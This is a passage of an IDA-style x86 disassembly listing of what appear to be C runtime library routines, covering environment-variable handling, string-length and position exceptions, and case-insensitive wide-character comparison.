		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2A0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2A4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2A0, eax

loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2A8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D

loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh

loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2A8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A8, eax
		jz	short loc_42620F
		mov	[eax], edi

loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2A0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx

loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------

loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------

loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------

loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi

loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2A0, eax

loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25E0000h
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]

loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D

loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344

loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		neg	eax

loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB

loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1

loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx

loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------

loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]

loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC7E1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------

loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452

loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------

loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------

loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx

loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 28A0000h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h

loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h

loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------

loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2

loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi

loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------

loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx

loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------

loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 2670497h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB334, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB334
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB58C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB58C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------

loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE2C
		push	edi
		push	esi
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB58C, 2

loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB58C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		jmp	loc_426B7F
; ---------------------------------------------------------------------------

loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2840000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2840000h
		nop
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
